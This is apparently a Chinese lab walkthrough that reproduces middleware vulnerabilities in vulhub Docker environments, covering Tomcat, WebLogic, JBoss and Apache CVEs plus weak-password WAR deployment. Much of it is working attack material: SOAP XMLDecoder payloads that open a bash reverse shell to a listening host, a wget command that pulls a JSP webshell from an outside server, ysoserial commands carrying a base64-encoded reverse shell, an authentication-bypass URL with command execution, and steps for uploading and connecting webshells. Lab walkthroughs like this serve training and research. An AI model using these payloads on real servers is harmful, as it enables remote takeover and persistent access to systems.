常见的中间件漏洞

一、Tomcat

1 CVE-2017-12615

环境搭建

cd vulhub-master/tomcat/CVE-2017-12615

docker-compose up -d

用哥斯拉生成一个jsp的木马

⾸⻚抓包,修改为 PUT ⽅式提交

默认的哥斯拉密码秘钥配置

访问我们上传的文件

Webshell客户端⼯具进⾏连接

2 后台弱⼝令部署war包

环境搭建

cd vulhub-master/tomcat/tomcat8

docker-compose up -d

可以把上一题的环境删除或者更改端口就可以启动成功了

默认密码:tomcat/tomcat

制作WAR包

制作WAR包,将JSP⽊⻢压缩为ZIP格式,然后修改后缀为war就可以了。

⽂件上传成功后,默认会在⽹站根⽬录下⽣成和war包名称⼀致得⽬录,然后⽬录中得⽊⻢就是压缩前的⽂件名。

使用哥斯拉连接

3 CVE-2020-1938

环境搭建

cd vulhub-master/tomcat/CVE-2020-1938

docker-compose up -d

tomcat默认的conf/server.xml中配置了2个Connector,⼀个为 8080 的对外提供的HTTP协议端⼝,另外⼀个就是默认的 8009 AJP协议端⼝,两个端⼝默认均监听在外⽹ip。

POC:

python Tomcat-ROOT路径下文件包含\(CVE-2020-1938\).py -p 8009 -f /WEB-INF/web.xml 8.140.254.245

⼆、WebLogic

1 后台弱⼝令GetShell

环境搭建

cd vulhub-master/weblogic/weak_password

docker-compose up -d

默认账号密码:weblogic/Oracle@123

weblogic常⽤弱⼝令:https://cirt.net/passwords?criteria=weblogic

这⾥注意, 单个账号错误密码5次之后就会⾃动锁定。

进入后台

Oracle WebLogic Server Administration Console

登录后台后,点击部署,点击安装,点击上传⽂件。

上传war包,jsp⽊⻢压缩成zip,修改后缀为war,上传

我们直接用我们之前的war包

然后⼀直下⼀步

然后访问我们上传的文件使用哥斯拉连接

2 CVE-2017-3506

还是上一题的环境

访问以下⽬录中的⼀种,有回显如下图可以判断wls-wsat组件存在

/wls-wsat/CoordinatorPortType

/wls-wsat/RegistrationPortTypeRPC

/wls-wsat/ParticipantPortType

/wls-wsat/RegistrationRequesterPortType

/wls-wsat/CoordinatorPortType11

/wls-wsat/RegistrationPortTypeRPC11

/wls-wsat/ParticipantPortType11

/wls-wsat/RegistrationRequesterPortType11

验证是否存在wls-wsat组件

在当前⻚⾯抓包之后,添加下⾯请求包,反弹shell。

复制代码
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
    <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
        <java version="1.8.0_131" class="java.beans.XMLDecoder">
          <object class="java.lang.ProcessBuilder">
            <array class="java.lang.String" length="3">
              <void index="0">
                <string>/bin/bash</string>
              </void>
              <void index="1">
                <string>-c</string>
              </void>
              <void index="2">
                <string>bash -i &gt;&amp; /dev/tcp/8.140.254.245/6666 0&gt;&amp;1</string>
              </void>
            </array>
          <void method="start"/></object>
        </java>
      </work:WorkContext>
    </soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>

发送到重放器

改成自己的IP

提前开启nc监听

3 CVE-2019-2725

环境还是上一题的环境

.漏洞验证
http://8.140.254.245:7001/_async/AsyncResponseService

如果出现⼀下⻚⾯,则说明存在漏洞

在当前⻚⾯抓包 , 修改请求包 , 写⼊shell

复制代码
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget http://8.140.254.245/2.txt -O servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/678.jsp
</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header><soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

先把我们的木马上传到我们的主机上

访问下载到weblogic服务器上的⽊⻢

进⾏链接

4 CVE-2018-2628

环境搭建

cd vulhub-master/weblogic/CVE-2018-2628

docker-compose up -d

直接使⽤利⽤ONE-FOX⼯具

5 CVE-2018-2894

环境搭建

cd vulhub-master/weblogic/CVE-2018-2894

docker-compose up -d

这⾥环境后台密码是随机得,获取密码: docker-compose logs | grep password

设置Web服务测试开启

http://8.140.254.245:7001/console/login/LoginForm.jsp

设置web服务测试开启: 域结构 -> base-domain -> ⾼级 -> 启动Web服务测试⻚

点击保存 , 进⼊ config.do ⽂件进⾏设置,将⽬录设置为 ws_utc 应⽤的静态⽂件css⽬录,访问这个⽬录是⽆需权限的,这⼀点很重要

/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css

点击安全 , 点击添加上传哥斯拉生成的木马

右键审查元素 , 然后搜索16 , 找到对应时间戳

Webshell链接

8.140.254.245:7001/ws_utc/css/config/keystore/1753961107165_shell.jsp

时间戳_⽂件名.jsp

6 CVE-2020-14882

环境搭建

cd vulhub-master/weblogic/CVE-2020-14882

docker-compose up -d

1.访问管理控制台

http://8.140.254.245:7001/console/login/LoginForm.jsp

2.使⽤以下url绕过登录认证

http://8.140.254.245:7001/console/css/%252e%252e%252fconsole.portal(一次不行试试两次)

此时达到未授权得效果。还未能GetShell。可以利⽤第⼆个漏洞(CVE-2020-14883),远程加载XML⽂件拿到Shell

⾸先访问以下 URL ,以连接 2 个漏洞并执⾏以下命令

http://8.140.254.245:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true\&_pageLabel=\&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch /tmp/success');")

我们进⼊到docker中可以看到命令已经成功运⾏了

这种利⽤⽅法只能在 Weblogic 12.2.1 及以上版本中使⽤,因为 10.3.6 没有 class

三、Jboss

1 CVE-2015-7501

环境搭建

cd vulhub-master/jboss/JMXInvokerServlet-deserialization

docker-compose up -d

POC,访问地址

http://8.140.254.245:8080/invoker/JMXInvokerServlet

返回如下,说明接⼝开放,此接⼝存在反序列化漏洞

下载 ysoserial ⼯具进⾏漏洞利⽤

https://github.com/frohoff/ysoserial

将反弹shell进⾏base64编码

bash -i >& /dev/tcp/8.140.254.245/6666 0>&1

YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE0MC4yNTQuMjQ1LzY2NjYgMD4mMQ==

java -jar ysoserial-all.jar CommonsCollections5 "bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjE0MC4yNTQuMjQ1LzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i} ">exp.ser

3.服务器设置监听得端⼝

nc -lvvp 6666

执⾏命令

curl http://8.140.254.245:8080/invoker/JMXInvokerServlet --data-binary @exp.ser

2 CVE-2017-7504

环境搭建

cd vulhub-master/jboss/CVE-2017-7504

docker-compose up -d

访问漏洞地址

http://8.140.254.245:8080/jbossmq-httpil/HTTPServerILServlet

主机上python3 jexboss.py -u http://8.140.254.245:8080

利⽤:https://blog.csdn.net/weixin_44971640/article/details/128313851

3 CVE-2017-12149

环境搭建

cd vulhub-master/jboss/CVE-2017-12149

docker-compose up -d

访问漏洞⻚⾯

http://8.140.254.245:8080

验证是否存在漏洞 , 访问

http://8.140.254.245:8080/invoker/readonly

该漏洞出现在/invoker/readonly中 ,服务器将⽤户post请求内容进⾏反序列化

返回500,说明⻚⾯存在,此⻚⾯存在反序列化漏洞

使⽤⼯具进⾏检测 DeserializeExploit 如果成功直接上传webshell即可:⼯具

https://cdn.vulhub.org/deserialization/DeserializeExploit.jar

也可以直接执⾏命令:https://github.com/yunxu1/jboss-_CVE-2017-12149

4 Administration Console弱⼝令

环境与上一题一样

密码⽂件

/jboss-6.1.0.Final/server/default/conf/props/jmx-console-users.properties

账户密码:admin:vulhub

访问http://8.140.254.245:8080/admin-console/login.seam

登录后台点击web应⽤

上传我们的木马 shell.war(将shell.jsp压缩如何后缀从zip改为war)

连接WebShell

5 低版本JMX Console未授权

环境搭建

cd vulhub-master/jboss/CVE-2017-7504

docker-compose up -d

访问

http://8.140.254.245:8080/jmx-console/

2.这⾥我们使⽤得复现环境不存在,所以需要密码(正常环境⽆需密码直接可进⼊)

admin admin

然后找到jboss.deployment (jboss ⾃带得部署功能) 中的flavor=URL,type=DeploymentScanner点进去(通过URL的⽅式远程部署)

找到⻚⾯中的void addURL() 选项远程加载war包来部署。

制作war包 , 这⾥⽤之前制作好的 cmd.war

填写war包远程地址

http://8.140.254.245/cmd.war

webshell连接

http://8.140.254.245:8080/cmd/cmd.jsp

6 ⾼版本JMX Console未授权

环境搭建

cd vulhub-master/jboss/CVE-2017-12149

docker-compose up -d

http://8.140.254.245:8080/jmx-console/

因为使⽤环境不存在该漏洞所以需要输⼊账户密码:admin vulhub

本地搭建部署点

在JMX Console⻚⾯点击jboss.system链接,在Jboss.system⻚⾯中点击service=MainDeployer,如下

进⼊service=MainDeployer⻚⾯之后,找到methodIndex为17或19的deploy 填写远程war包地址进⾏远程部署

然后输⼊Invoke

连接Webshell

四、四、Apache

CVE-2021-41773

环境搭建

docker pull blueteamsteve/cve-2021-41773:no-cgid

docker run -dit -p 8080:80 blueteamsteve/cve-2021-41773:no-cgid

⼯具验证

相关推荐
阿昌喜欢吃黄桃6 天前
RocketMq事务消息原理
java·中间件·消息队列·rocketmq·mq
半夜修仙7 天前
延迟队列的介绍及常见问题
java·数据库·中间件·rabbitmq
手握风云-7 天前
一条消息的旅程:RabbitMQ 学习与实践(一)
中间件·rabbitmq
RH2312118 天前
2026.6.8Linux
java·数据库·中间件
理人综艺好会9 天前
双Token机制在实际项目中的应用与实践
中间件·token
番茄去哪了9 天前
神领物流面试题(一)
java·大数据·中间件
念何架构之路9 天前
消息中间件
中间件
都说名字长不会被发现9 天前
Spring Boot Starter 中间件账号密码加密方案设计与实现
java·spring boot·后端·中间件
瀚高PG实验室10 天前
java中间件无法连接数据库
java·数据库·中间件·瀚高数据库
之歆10 天前
Day11_Express 深入解析:从中间件到项目实战
中间件·express